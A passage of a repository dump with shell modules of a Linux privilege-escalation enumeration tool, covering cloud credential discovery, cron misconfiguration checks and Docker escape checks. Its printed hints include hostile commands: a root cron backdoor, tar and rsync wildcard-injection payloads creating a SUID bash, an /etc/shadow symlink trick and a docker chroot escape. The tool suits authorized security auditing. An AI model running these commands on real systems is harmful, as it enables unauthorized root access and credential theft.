masked="${start}****${end}" 434 | print_critical " ${RED}→ Access Key: ${masked}${NC}" 435 | fi 436 | done 437 | fi 438 | fi 439 | done 440 | else 441 | print_success "AWS credentials directory exists but no credential files found." 442 | fi 443 | else 444 | print_success "No AWS credentials directory found." 445 | fi 446 | 447 | # GCP credentials 448 | if [ -d "$HOME/.config/gcloud" ]; then 449 | gcp_files=$(find "$HOME/.config/gcloud" -type f -name "application_default_credentials.json" -o -name "legacy_credentials" -o -name "*adc.json" 2>/dev/null) 450 | if [ -n "$gcp_files" ]; then 451 | print_critical "Found Google Cloud credential files:" 452 | echo "$gcp_files" | while read -r file; do 453 | if [ -r "$file" ]; then 454 | print_critical " ${RED}→ $file${NC}" 455 | # Check if it contains oauth2_access_token or client_id 456 | if grep -q -E "\"oauth2_access_token\"|\"client_id\"" "$file" 2>/dev/null; then 457 | print_critical " ${RED}→ Contains authentication tokens!${NC}" 458 | fi 459 | fi 460 | done 461 | else 462 | print_success "Google Cloud credentials directory exists but no credential files found." 463 | fi 464 | else 465 | print_success "No Google Cloud credentials directory found." 466 | fi 467 | 468 | # Azure credentials 469 | if [ -d "$HOME/.azure" ]; then 470 | azure_files=$(find "$HOME/.azure" -type f -name "accessTokens.json" -o -name "azureProfile.json" 2>/dev/null) 471 | if [ -n "$azure_files" ]; then 472 | print_critical "Found Azure credential files:" 473 | echo "$azure_files" | while read -r file; do 474 | if [ -r "$file" ]; then 475 | print_critical " ${RED}→ $file${NC}" 476 | # Check for token information 477 | if grep -q -E "\"accessToken\"|\"refreshToken\"" "$file" 2>/dev/null; then 478 | print_critical " ${RED}→ Contains authentication tokens!${NC}" 479 | fi 480 | fi 481 | done 482 | else 483 | print_success "Azure credentials directory exists but no credential files found." 484 | fi 485 | else 486 | print_success "No Azure credentials directory found." 487 | fi 488 | } 489 | 490 | # Main function: run all credential checks 491 | credentials_hunter_main() { 492 | print_title "Credentials Hunter" 493 | 494 | # Check for potentially exposed passwords 495 | check_credential_files 496 | 497 | # Check history files 498 | check_history_files 499 | 500 | # Check for database credentials 501 | check_db_credentials 502 | 503 | # Check for cloud service credentials 504 | check_cloud_credentials 505 | 506 | # Wait for user if wait mode is enabled 507 | wait_for_user 508 | } 509 | 510 | # Call the main function if this script is executed directly 511 | if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then 512 | credentials_hunter_main 513 | fi -------------------------------------------------------------------------------- /modules/exploit_checks/cron_jobs.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: Cron Jobs Checker 4 | # Description: Check for insecure cron jobs that can be exploited for privilege escalation 5 | # Author: Jonas Resch 6 | 7 | # Check for writable cron job scripts and directories 8 | check_writable_cron_scripts() { 9 | print_subtitle "Writable Cron Scripts" 10 | 11 | print_info "Searching for writable cron job scripts..." 12 | 13 | # Check standard cron directories 14 | cron_dirs=( 15 | "/etc/cron.d" 16 | "/etc/cron.daily" 17 | "/etc/cron.hourly" 18 | "/etc/cron.weekly" 19 | "/etc/cron.monthly" 20 | "/var/spool/cron" 21 | "/var/spool/cron/crontabs" 22 | ) 23 | 24 | # Check if any cron directory is writable 25 | for dir in "${cron_dirs[@]}"; do 26 | if [ -d "$dir" ]; then 27 | if [ -w "$dir" ]; then 28 | print_critical "${RED}Cron directory is writable: $dir${NC}" 29 | print_critical " ${RED}→ You can create a new cron job file here!${NC}" 30 | print_critical " ${RED}→ Example: echo '* * * * * root chmod u+s /bin/bash' > $dir/root-backdoor${NC}" 31 | fi 32 | 33 | # Look for writable cron job scripts 34 | find "$dir" -type f 2>/dev/null | while read -r file; do 35 | if [ -w "$file" ]; then 36 | perms=$(ls -la "$file" | awk '{print $1}') 37 | owner=$(ls -la "$file" | awk '{print $3}') 38 | 39 | print_critical "${RED}Writable cron job: $file${NC} [$perms] [Owner: $owner]" 40 | print_critical " ${RED}→ You can modify this cron job to run your code!${NC}" 41 | 42 | # Get cron job contents 43 | content=$(head -n 5 "$file" 2>/dev/null) 44 | if [ -n "$content" ]; then 45 | print_critical " ${RED}→ Current content (truncated):${NC}" 46 | echo "$content" | while read -r line; do 47 | print_critical " $line" 48 | done 49 | fi 50 | fi 51 | done 52 | fi 53 | done 54 | } 55 | 56 | # Check for cron jobs running as root 57 | check_root_cron_jobs() { 58 | print_subtitle "Root Cron Jobs" 59 | 60 | print_info "Checking for cron jobs running as root..." 61 | 62 | # Check crontab 63 | if [ -r "/etc/crontab" ]; then 64 | print_warning "Checking /etc/crontab for root jobs:" 65 | root_jobs=$(grep -v "^#" /etc/crontab 2>/dev/null | grep -E "root" | grep -Ev "^$") 66 | 67 | if [ -n "$root_jobs" ]; then 68 | echo "$root_jobs" | while read -r job; do 69 | # Extract command from the cron job 70 | cmd=$(echo "$job" | awk '{for(i=7;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1) 71 | 72 | # Check for wildcards, relative paths, etc. 73 | if echo "$cmd" | grep -q " \* "; then 74 | print_critical "${RED}Cron job with wildcard: $job${NC}" 75 | print_critical " ${RED}→ Wildcard in cron jobs can be exploited:${NC}" 76 | print_critical " ${RED}→ https://www.hackingarticles.in/linux-privilege-escalation-using-wildcard-injection${NC}" 77 | elif ! echo "$cmd" | grep -q "^/"; then 78 | print_critical "${RED}Cron job with relative path: $job${NC}" 79 | print_critical " ${RED}→ Relative paths can be exploited with PATH manipulation${NC}" 80 | else 81 | # Check if the command is writable 82 | if [ -w "$cmd" ]; then 83 | print_critical "${RED}Writable root cron job command: $cmd${NC}" 84 | print_critical " ${RED}→ You can modify this executable to run arbitrary code as root!${NC}" 85 | else 86 | # Check for writable command arguments (scripts, config files) 87 | args=$(echo "$job" | awk '{for(i=8;i<=NF;i++)print $i}') 88 | 89 | for arg in $args; do 90 | # Skip flags/options 91 | if [[ "$arg" == -* ]]; then 92 | continue 93 | fi 94 | 95 | # Skip variable references and redirections 96 | if [[ "$arg" == *\$* ]] || [[ "$arg" == *\<* ]] || [[ "$arg" == *\>* ]]; then 97 | continue 98 | fi 99 | 100 | # Check if argument exists and is writable 101 | if [ -e "$arg" ] && [ -w "$arg" ]; then 102 | print_critical "${RED}Writable root cron job argument: $arg${NC}" 103 | print_critical " ${RED}→ You can modify this file to execute code when the cron job runs!${NC}" 104 | fi 105 | done 106 | 107 | print_warning " ${YELLOW}→ $job${NC}" 108 | fi 109 | fi 110 | done 111 | else 112 | print_success "No root jobs found in /etc/crontab" 113 | fi 114 | fi 115 | 116 | # Check cron.d directory 117 | if [ -d "/etc/cron.d" ]; then 118 | print_warning "Checking /etc/cron.d for root jobs:" 119 | 120 | find /etc/cron.d -type f 2>/dev/null | grep -v ".placeholder" | while read -r cronfile; do 121 | if [ -r "$cronfile" ]; then 122 | root_jobs=$(grep -v "^#" "$cronfile" 2>/dev/null | grep -E "root" | grep -Ev "^$") 123 | 124 | if [ -n "$root_jobs" ]; then 125 | print_warning "Root jobs in $cronfile:" 126 | 127 | echo "$root_jobs" | while read -r job; do 128 | # Extract command from the cron job 129 | cmd=$(echo "$job" | awk '{for(i=7;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1) 130 | 131 | # Check for wildcards, relative paths, etc. 132 | if echo "$cmd" | grep -q " \* "; then 133 | print_critical "${RED}Cron job with wildcard: $job${NC}" 134 | elif ! echo "$cmd" | grep -q "^/"; then 135 | print_critical "${RED}Cron job with relative path: $job${NC}" 136 | else 137 | # Check if the command is writable 138 | if [ -w "$cmd" ]; then 139 | print_critical "${RED}Writable root cron job command: $cmd${NC}" 140 | else 141 | print_warning " ${YELLOW}→ $job${NC}" 142 | fi 143 | fi 144 | done 145 | fi 146 | fi 147 | done 148 | fi 149 | 150 | # Check root's personal crontab 151 | if [ "$IAMROOT" ] && [ -r "/var/spool/cron/crontabs/root" ]; then 152 | print_warning "Checking root's personal crontab:" 153 | 154 | root_personal_jobs=$(grep -v "^#" /var/spool/cron/crontabs/root 2>/dev/null | grep -Ev "^$") 155 | 156 | if [ -n "$root_personal_jobs" ]; then 157 | echo "$root_personal_jobs" | while read -r job; do 158 | # Extract command (different format from /etc/crontab) 159 | cmd=$(echo "$job" | awk '{for(i=6;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1) 160 | 161 | # Check for wildcards, relative paths, etc. 162 | if echo "$job" | grep -q " \* "; then 163 | print_critical "${RED}Cron job with wildcard: $job${NC}" 164 | elif ! echo "$cmd" | grep -q "^/"; then 165 | print_critical "${RED}Cron job with relative path: $job${NC}" 166 | else 167 | # Check if the command is writable 168 | if [ -w "$cmd" ]; then 169 | print_critical "${RED}Writable root cron job command: $cmd${NC}" 170 | else 171 | print_warning " ${YELLOW}→ $job${NC}" 172 | fi 173 | fi 174 | done 175 | else 176 | print_success "No jobs found in root's personal crontab" 177 | fi 178 | fi 179 | } 180 | 181 | # Check for world-writable scripts called by cron jobs 182 | check_path_hijacking_cron() { 183 | print_subtitle "Cron PATH Hijacking" 184 | 185 | print_info "Checking for cron jobs vulnerable to PATH hijacking..." 186 | 187 | # First, check the PATH settings in crontab 188 | if [ -r "/etc/crontab" ]; then 189 | cron_path=$(grep "^PATH" /etc/crontab 2>/dev/null | cut -d= -f2) 190 | 191 | if [ -n "$cron_path" ]; then 192 | print_warning "Cron PATH in /etc/crontab: ${YELLOW}$cron_path${NC}" 193 | 194 | # Check for writable directories in cron PATH 195 | IFS=':' read -ra path_dirs <<< "$cron_path" 196 | for dir in "${path_dirs[@]}"; do 197 | if [ -d "$dir" ] && [ -w "$dir" ]; then 198 | print_critical "${RED}Writable directory in cron PATH: $dir${NC}" 199 | print_critical " ${RED}→ You can create executables here that will be run by cron jobs!${NC}" 200 | print_critical " ${RED}→ Example: create a script with the same name as a command used by cron${NC}" 201 | fi 202 | done 203 | fi 204 | fi 205 | 206 | # Look for suspicious cron job scripts that use relative paths 207 | all_cron_files=$(find /etc/cron* /var/spool/cron/crontabs -type f 2>/dev/null) 208 | 209 | if [ -n "$all_cron_files" ]; then 210 | echo "$all_cron_files" | while read -r cronfile; do 211 | if [ -r "$cronfile" ]; then 212 | # Use grep to find lines not starting with # and containing an executable 213 | # We'll look for all lines except comments, PATH settings, or empty lines 214 | relative_cmd_jobs=$(grep -v "^#" "$cronfile" 2>/dev/null | grep -v "^PATH" | grep -Ev "^\s*$") 215 | 216 | if [ -n "$relative_cmd_jobs" ]; then 217 | # Only print the cronfile header if we find actual suspicious commands 218 | suspicious_found=0 219 | 220 | # Process each line in the cron job file 221 | echo "$relative_cmd_jobs" | while read -r job; do 222 | # Determine the file type to parse it correctly 223 | if echo "$cronfile" | grep -q "/etc/crontab\|/etc/cron.d/"; then 224 | # System crontab format: min hour dom month dow user command 225 | user=$(echo "$job" | awk '{print $6}') 226 | cmd=$(echo "$job" | awk '{for(i=7;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1) 227 | else 228 | # User crontab format: min hour dom month dow command 229 | user="UNKNOWN" 230 | cmd=$(echo "$job" | awk '{for(i=6;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1) 231 | fi 232 | 233 | # Skip entries that don't look like cron jobs (help text, empty lines, etc) 234 | if ! echo "$job" | grep -qE "^[0-9*]"; then 235 | continue 236 | fi 237 | 238 | # Only check commands that appear to be relative paths 239 | if [ -n "$cmd" ] && ! echo "$cmd" | grep -q "^/"; then 240 | # If this is our first suspicious command, print the header 241 | if [ "$suspicious_found" -eq 0 ]; then 242 | print_warning "Cron jobs with relative command paths in ${YELLOW}$cronfile${NC}:" 243 | suspicious_found=1 244 | fi 245 | 246 | if [ "$user" != "UNKNOWN" ]; then 247 | print_warning " ${YELLOW}→ [$user] $job${NC}" 248 | else 249 | print_warning " ${YELLOW}→ $job${NC}" 250 | fi 251 | 252 | print_warning " ${YELLOW}→ Command without absolute path: $cmd${NC}" 253 | 254 | # Try to find the command in the PATH and check if it's writable 255 | command_path=$(which "$cmd" 2>/dev/null) 256 | if [ -n "$command_path" ]; then 257 | if [ -w "$command_path" ]; then 258 | print_critical " ${RED}→ The command $cmd resolves to $command_path, which is writable!${NC}" 259 | else 260 | print_success " → The command $cmd resolves to $command_path (not writable)" 261 | fi 262 | else 263 | print_warning " ${YELLOW}→ The command $cmd was not found in PATH, potential for PATH hijacking${NC}" 264 | fi 265 | fi 266 | done 267 | fi 268 | fi 269 | done 270 | fi 271 | } 272 | 273 | # Check for wildcards in cron jobs that can be exploited 274 | check_wildcard_cron() { 275 | print_subtitle "Wildcard Exploitation" 276 | 277 | print_info "Checking for cron jobs with exploitable wildcards..." 278 | 279 | # Common commands that can be dangerous with wildcards 280 | dangerous_cmds=("tar" "rsync" "chmod" "chown" "rm") 281 | 282 | # Find cron jobs with wildcards 283 | all_cron_files=$(find /etc/cron* /var/spool/cron/crontabs -type f 2>/dev/null) 284 | 285 | if [ -n "$all_cron_files" ]; then 286 | echo "$all_cron_files" | while read -r cronfile; do 287 | if [ -r "$cronfile" ]; then 288 | for cmd in "${dangerous_cmds[@]}"; do 289 | wildcard_jobs=$(grep -v "^#" "$cronfile" 2>/dev/null | grep -E "$cmd .* \*" | grep -Ev "^$") 290 | 291 | if [ -n "$wildcard_jobs" ]; then 292 | print_critical "${RED}Potentially exploitable wildcard in $cronfile:${NC}" 293 | 294 | echo "$wildcard_jobs" | while read -r job; do 295 | print_critical " ${RED}→ $job${NC}" 296 | 297 | # Identify the directory containing the wildcard 298 | job_cmd=$(echo "$job" | sed -E 's/^[^\/]*(\/[^ ]*).*/\1/') 299 | wildcard_dir=$(echo "$job_cmd" | grep -o ".*\*" | sed 's/\*$//') 300 | 301 | # Check if the wildcard directory is writable 302 | if [ -d "$wildcard_dir" ] && [ -w "$wildcard_dir" ]; then 303 | print_critical " ${RED}→ Directory $wildcard_dir is writable!${NC}" 304 | 305 | if echo "$job" | grep -q "tar"; then 306 | print_critical " ${RED}→ Tar wildcard exploitation:${NC}" 307 | print_critical " ${RED}→ cd $wildcard_dir${NC}" 308 | print_critical " ${RED}→ echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > exploit.sh${NC}" 309 | print_critical " ${RED}→ echo '' > \"--checkpoint=1\"${NC}" 310 | print_critical " ${RED}→ echo '' > \"--checkpoint-action=exec=sh exploit.sh\"${NC}" 311 | print_critical " ${RED}→ Wait for the cron job to run, then execute: /tmp/rootbash -p${NC}" 312 | elif echo "$job" | grep -q "rsync"; then 313 | print_critical " ${RED}→ Rsync wildcard exploitation:${NC}" 314 | print_critical " ${RED}→ cd $wildcard_dir${NC}" 315 | print_critical " ${RED}→ touch \"-e sh -c 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'\"${NC}" 316 | print_critical " ${RED}→ Wait for the cron job to run, then execute: /tmp/rootbash -p${NC}" 317 | elif echo "$job" | grep -q "chmod"; then 318 | print_critical " ${RED}→ Chmod wildcard exploitation:${NC}" 319 | print_critical " ${RED}→ cd $wildcard_dir${NC}" 320 | print_critical " ${RED}→ Identify a critical target like /etc/shadow and create a symlink:${NC}" 321 | print_critical " ${RED}→ ln -s /etc/shadow shadow-link${NC}" 322 | print_critical " ${RED}→ Wait for the cron job to run, potentially changing permissions on /etc/shadow${NC}" 323 | fi 324 | else 325 | print_warning " ${YELLOW}→ Directory $wildcard_dir is not writable${NC}" 326 | fi 327 | done 328 | fi 329 | done 330 | fi 331 | done 332 | fi 333 | } 334 | 335 | # Check for cron files containing credentials 336 | check_cron_credentials() { 337 | print_subtitle "Credentials in Cron Jobs" 338 | 339 | print_info "Checking for credentials in cron job files..." 340 | 341 | # Find credentials in cron files 342 | all_cron_files=$(find /etc/cron* /var/spool/cron/crontabs -type f 2>/dev/null) 343 | 344 | if [ -n "$all_cron_files" ]; then 345 | echo "$all_cron_files" | while read -r cronfile; do 346 | if [ -r "$cronfile" ]; then 347 | # Look for various credential patterns 348 | creds=$(grep -i "pass\=\|passwd=\|password=\|pwd=\|secret=\|token=\|credential=" "$cronfile" 2>/dev/null | grep -v "^#") 349 | 350 | if [ -n "$creds" ]; then 351 | print_critical "${RED}Potential credentials found in $cronfile:${NC}" 352 | 353 | echo "$creds" | while read -r line; do 354 | # Try to highlight the credential part 355 | highlighted_line=$(echo "$line" | sed -E "s/(.*(pass|pwd|user|login|cred|key|secret|token).*[=:\"'].*)([^\s\"':]+)([\"':]?.*)/\\1${RED}\\3${NC}\\4/i") 356 | print_critical " ${RED}→ $highlighted_line${NC}" 357 | done 358 | fi 359 | fi 360 | done 361 | fi 362 | } 363 | 364 | # Check for recently modified cron jobs 365 | check_recent_cron_changes() { 366 | print_subtitle "Recent Cron Changes" 367 | 368 | print_info "Checking for recently modified cron jobs (last 7 days)..." 369 | 370 | # Find recently modified cron files 371 | recent_changes=$(find /etc/cron* /var/spool/cron/crontabs -type f -mtime -7 2>/dev/null | grep -v ".placeholder") 372 | 373 | if [ -n "$recent_changes" ]; then 374 | print_warning "${YELLOW}Recently modified cron files:${NC}" 375 | 376 | echo "$recent_changes" | while read -r file; do 377 | mod_time=$(ls -la "$file" | awk '{print $6, $7, $8}') 378 | print_warning " ${YELLOW}→ $file (modified: $mod_time)${NC}" 379 | 380 | # Show file contents if readable 381 | if [ -r "$file" ]; then 382 | content=$(grep -v "^#" "$file" 2>/dev/null | grep -v "^$" | head -n 5) 383 | if [ -n "$content" ]; then 384 | print_warning " ${YELLOW}→ Content (truncated):${NC}" 385 | echo "$content" | while read -r line; do 386 | print_warning " $line" 387 | done 388 | 389 | # Indicate if there's more content not shown 390 | if [ "$(grep -v "^#" "$file" 2>/dev/null | grep -v "^$" | wc -l)" -gt 5 ]; then 391 | print_warning " ${YELLOW}→ (more lines not shown)${NC}" 392 | fi 393 | fi 394 | fi 395 | done 396 | else 397 | print_success "No recently modified cron files found" 398 | fi 399 | } 400 | 401 | # Main function to run all cron job checks 402 | cron_job_checks() { 403 | print_title "Cron Jobs" 404 | 405 | # Run all cron job checks 406 | check_writable_cron_scripts 407 | check_root_cron_jobs 408 | check_path_hijacking_cron 409 | check_wildcard_cron 410 | check_cron_credentials 411 | check_recent_cron_changes 412 | 413 | # Wait for user if wait mode is enabled 414 | wait_for_user 415 | } -------------------------------------------------------------------------------- /modules/exploit_checks/docker_checks.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: Docker Environment Checker 4 | # Description: Check for Docker/container environment escape vectors 5 | # Author: Jonas Resch 6 | 7 | # Detect if running inside a container 8 | detect_container() { 9 | print_subtitle "Container Detection" 10 | 11 | print_info "Checking if we're running inside a container..." 12 | 13 | IS_CONTAINER="" 14 | CONTAINER_TYPE="" 15 | 16 | # Check for Docker 17 | if [ -f /.dockerenv ] || grep -q "docker" /proc/1/cgroup 2>/dev/null; then 18 | IS_CONTAINER="1" 19 | CONTAINER_TYPE="Docker" 20 | print_warning "Running inside a ${YELLOW}Docker container${NC}" 21 | # Check for LXC 22 | elif grep -q "lxc" /proc/1/cgroup 2>/dev/null; then 23 | IS_CONTAINER="1" 24 | CONTAINER_TYPE="LXC" 25 | print_warning "Running inside a ${YELLOW}LXC container${NC}" 26 | # Check for SystemD-nspawn 27 | elif grep -q "systemd-nspawn" /proc/1/cgroup 2>/dev/null; then 28 | IS_CONTAINER="1" 29 | CONTAINER_TYPE="systemd-nspawn" 30 | print_warning "Running inside a ${YELLOW}systemd-nspawn container${NC}" 31 | # Check for Kubernetes 32 | elif [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then 33 | IS_CONTAINER="1" 34 | CONTAINER_TYPE="Kubernetes" 35 | print_warning "Running inside a ${YELLOW}Kubernetes pod${NC}" 36 | # Other container indicators 37 | elif grep -qi "container=\|docker\|lxc\|pod" /proc/1/environ 2>/dev/null; then 38 | IS_CONTAINER="1" 39 | CONTAINER_TYPE="Unknown" 40 | print_warning "Running inside an ${YELLOW}unknown container type${NC}" 41 | else 42 | print_success "Not running inside a container" 43 | fi 44 | 45 | # Check if we're running in a container with increased privileges 46 | if [ "$IS_CONTAINER" ]; then 47 | # Check for privileged mode 48 | if ls -la /dev 2>/dev/null | grep -q "nvidia"; then 49 | print_critical "${RED}Container appears to be running in privileged mode (nvidia devices exposed)${NC}" 50 | elif ls -la /dev 2>/dev/null | grep -q "sda"; then 51 | print_critical "${RED}Container appears to be running in privileged mode (host devices exposed)${NC}" 52 | elif ip link show 2>/dev/null | grep -q "host0"; then 53 | print_critical "${RED}Container appears to be running with host networking${NC}" 54 | fi 55 | 56 | # Check namespace isolation 57 | if [ -r /proc/1/ns ]; then 58 | readlink /proc/1/ns/* 2>/dev/null | while read -r line; do 59 | if echo "$line" | grep -q "init"; then 60 | print_critical "${RED}Container shares namespace with host! This is insecure.${NC}" 61 | break 62 | fi 63 | done 64 | fi 65 | fi 66 | } 67 | 68 | # Check for Docker group membership 69 | check_docker_group() { 70 | print_subtitle "Docker Group Membership" 71 | 72 | print_info "Checking for users in the docker group..." 73 | 74 | # Check if docker group exists 75 | if grep -q "^docker:" /etc/group 2>/dev/null; then 76 | # Get members of docker group 77 | docker_users=$(grep "^docker:" /etc/group 2>/dev/null | cut -d: -f4 | tr ',' '\n') 78 | 79 | if [ -n "$docker_users" ]; then 80 | print_critical "${RED}Found users in the 'docker' group:${NC}" 81 | echo "$docker_users" | while read -r user; do 82 | if [ -n "$user" ]; then 83 | print_critical " ${RED}→ $user${NC}" 84 | fi 85 | done 86 | 87 | print_critical "${RED}Users in the docker group can escalate to root:${NC}" 88 | print_critical " ${RED}→ docker run -v /:/mnt -it ubuntu chroot /mnt bash${NC}" 89 | else 90 | print_success "No users in the 'docker' group" 91 | fi 92 | else 93 | print_success "Docker group not found on the system" 94 | fi 95 | 96 | # Check if current user can run docker 97 | if command_exists docker && docker ps >/dev/null 2>&1; then 98 | print_critical "${RED}Current user can execute docker commands!${NC}" 99 | print_critical " ${RED}→ This can be used to escalate privileges:${NC}" 100 | print_critical " ${RED}→ docker run -v /:/mnt -it ubuntu chroot /mnt bash${NC}" 101 | fi 102 | } 103 | 104 | # Check for container escape vectors 105 | check_container_escape_vectors() { 106 | print_subtitle "Container Escape Vectors" 107 | 108 | if [ ! "$IS_CONTAINER" ]; then 109 | print_success "Not running in a container, skipping container escape check" 110 | return 111 | fi 112 | 113 | print_info "Checking for container escape vectors..." 114 | 115 | # Check for mounted docker socket 116 | if [ -S /var/run/docker.sock ]; then 117 | print_critical "${RED}Docker socket is mounted inside the container!${NC}" 118 | print_critical " ${RED}→ This allows for easy container escape:${NC}" 119 | print_critical " ${RED}→ Run a container with host root filesystem mounted${NC}" 120 | ls -la /var/run/docker.sock 121 | fi 122 | 123 | # Check for volume mounts that may enable escape 124 | if [ -f /proc/mounts ]; then 125 | suspicious_mounts=$(grep -E "/ |/etc|/proc|/sys|/var/run|/dev" /proc/mounts | grep -v "^overlay") 126 | 127 | if [ -n "$suspicious_mounts" ]; then 128 | print_critical "${RED}Found suspicious mounts that might enable container escape:${NC}" 129 | echo "$suspicious_mounts" | while read -r mount; do 130 | print_critical " ${RED}→ $mount${NC}" 131 | done 132 | fi 133 | fi 134 | 135 | # Check for dangerous capabilities 136 | if command_exists capsh; then 137 | caps=$(capsh --print 2>/dev/null) 138 | 139 | if echo "$caps" | grep -q "cap_sys_admin"; then 140 | print_critical "${RED}Container has CAP_SYS_ADMIN capability!${NC}" 141 | print_critical " ${RED}→ This can be used for container escape:${NC}" 142 | print_critical " ${RED}→ Mount host filesystem and chroot into it${NC}" 143 | fi 144 | 145 | dangerous_caps=("cap_dac_override" "cap_dac_read_search" "cap_chown" "cap_setuid" "cap_setgid" "cap_net_admin" "cap_net_raw" "cap_sys_module" "cap_sys_ptrace") 146 | 147 | for cap in "${dangerous_caps[@]}"; do 148 | if echo "$caps" | grep -q "$cap"; then 149 | print_critical "${RED}Container has $cap capability!${NC}" 150 | fi 151 | done 152 | elif [ -r /proc/self/status ]; then 153 | # Alternative method if capsh isn't available 154 | capeff=$(grep "CapEff:" /proc/self/status 2>/dev/null | cut -d: -f2 | tr -d ' ') 155 | 156 | if [ -n "$capeff" ]; then 157 | # Convert hex to binary and check for specific bits 158 | capeff_dec=$(printf "%d" "0x$capeff" 2>/dev/null) 159 | 160 | # Check for CAP_SYS_ADMIN (bit 21) 161 | if [ "$((($capeff_dec >> 21) & 1))" -eq 1 ]; then 162 | print_critical "${RED}Container has CAP_SYS_ADMIN capability!${NC}" 163 | print_critical " ${RED}→ This can be used for container escape${NC}" 164 | fi 165 | fi 166 | fi 167 | 168 | # Check for CVE-2019-5736 (runc < 1.0-rc6) 169 | if [ -f /bin/sh ] && [ -f /proc/self/exe ]; then 170 | if [ "$CONTAINER_TYPE" = "Docker" ] || [ "$CONTAINER_TYPE" = "Kubernetes" ]; then 171 | # Indirect way to check for potential vulnerability (not 100% accurate) 172 | print_warning "${YELLOW}Container might be vulnerable to CVE-2019-5736 (runc container escape)${NC}" 173 | print_warning " ${YELLOW}→ Affects Docker versions before 18.09.2${NC}" 174 | print_warning " ${YELLOW}→ https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736${NC}" 175 | fi 176 | fi 177 | 178 | # Check for cgroup release_agent escape 179 | if [ -w /proc/sysrq-trigger ] && [ -d /sys/fs/cgroup/notify_on_release ]; then 180 | print_critical "${RED}Container vulnerable to cgroup release_agent escape!${NC}" 181 | print_critical " ${RED}→ https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes${NC}" 182 | fi 183 | 184 | # Check for unprotected kubectl command 185 | if command_exists kubectl && [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then 186 | if kubectl auth can-i "*" "*" 2>/dev/null | grep -q "yes"; then 187 | print_critical "${RED}Kubernetes service account has admin privileges!${NC}" 188 | print_critical " ${RED}→ Can be used to escape to other containers or nodes${NC}" 189 | fi 190 | fi 191 | } 192 | 193 | # Check for exposed Docker API 194 | check_exposed_docker_api() { 195 | print_subtitle "Exposed Docker API" 196 | 197 | print_info "Checking for exposed Docker API endpoints..." 198 | 199 | # List of potential Docker API endpoint locations 200 | api_endpoints=( 201 | "unix:///var/run/docker.sock" 202 | "http://localhost:2375" 203 | "http://127.0.0.1:2375" 204 | "http://localhost:2376" 205 | "http://127.0.0.1:2376" 206 | ) 207 | 208 | for endpoint in "${api_endpoints[@]}"; do 209 | if [[ "$endpoint" == unix://* ]]; then 210 | # Check for Unix socket 211 | socket_path=$(echo "$endpoint" | sed 's|unix://||') 212 | 213 | if [ -S "$socket_path" ]; then 214 | if [ -r "$socket_path" ] && [ -w "$socket_path" ]; then 215 | print_critical "${RED}Exposed Docker API socket: $socket_path (read/write)${NC}" 216 | print_critical " ${RED}→ This allows full Docker control, leading to host compromise${NC}" 217 | elif [ -r "$socket_path" ]; then 218 | print_warning "${YELLOW}Exposed Docker API socket: $socket_path (readable)${NC}" 219 | print_warning " ${YELLOW}→ This allows Docker information gathering${NC}" 220 | fi 221 | fi 222 | else 223 | # Check for HTTP endpoints 224 | host=$(echo "$endpoint" | cut -d/ -f3 | cut -d: -f1) 225 | port=$(echo "$endpoint" | cut -d: -f3) 226 | 227 | if nc -zw1 "$host" "$port" 2>/dev/null; then 228 | print_critical "${RED}Exposed Docker API endpoint: $endpoint${NC}" 229 | print_critical " ${RED}→ This allows remote Docker control without authentication${NC}" 230 | print_critical " ${RED}→ Exploit: curl -s $endpoint/containers/json | jq .${NC}" 231 | fi 232 | fi 233 | done 234 | } 235 | 236 | # Check for misconfigured Docker 237 | check_docker_configuration() { 238 | print_subtitle "Docker Configuration" 239 | 240 | print_info "Checking for Docker configuration issues..." 241 | 242 | # Check for Docker daemon with disabled security options 243 | if [ -r /etc/docker/daemon.json ]; then 244 | print_warning "Checking Docker daemon configuration..." 245 | 246 | # Look for potentially insecure settings 247 | if grep -q "\"userns-remap\": \"off\"" /etc/docker/daemon.json || \ 248 | grep -q "\"no-new-privileges\": false" /etc/docker/daemon.json || \ 249 | grep -q "\"selinux-enabled\": false" /etc/docker/daemon.json || \ 250 | grep -q "\"apparmor-profile\": \"\"" /etc/docker/daemon.json || \ 251 | grep -q "\"insecure-registries\"" /etc/docker/daemon.json; then 252 | print_critical "${RED}Potentially insecure Docker daemon configuration:${NC}" 253 | grep -E "userns-remap|no-new-privileges|selinux-enabled|apparmor-profile|insecure-registries" /etc/docker/daemon.json | while read -r line; do 254 | print_critical " ${RED}→ $line${NC}" 255 | done 256 | else 257 | print_success "Docker daemon configuration appears to be secure" 258 | fi 259 | fi 260 | 261 | # Check for images with known vulnerabilities 262 | if command_exists docker && docker ps >/dev/null 2>&1; then 263 | print_warning "Checking for potentially vulnerable Docker images..." 264 | 265 | # Check for outdated or dangerous base images 266 | outdated_images=$(docker images 2>/dev/null | grep -E "alpine:|debian:|ubuntu:" | grep -E "latest|old|[0-9]{1,2}\.[0-9]{1,2}$") 267 | 268 | if [ -n "$outdated_images" ]; then 269 | print_warning "${YELLOW}Potentially outdated Docker images:${NC}" 270 | echo "$outdated_images" | while read -r line; do 271 | print_warning " ${YELLOW}→ $line${NC}" 272 | done 273 | fi 274 | 275 | # Check for containers running as root (default) 276 | if docker ps --format "{{.Names}}:{{.Image}}" 2>/dev/null | head -n 5 | while read -r container; do 277 | user=$(docker inspect --format "{{.Config.User}}" "$(echo "$container" | cut -d: -f1)" 2>/dev/null) 278 | if [ -z "$user" ] || [ "$user" = "root" ] || [ "$user" = "0" ]; then 279 | print_warning " ${YELLOW}→ Container running as root: $container${NC}" 280 | fi 281 | done; then 282 | print_warning "${YELLOW}Detected containers running as root - this is less secure${NC}" 283 | fi 284 | fi 285 | } 286 | 287 | # Main function to run all Docker environment checks 288 | docker_environment_checks() { 289 | print_title "Docker/Container Environment" 290 | 291 | 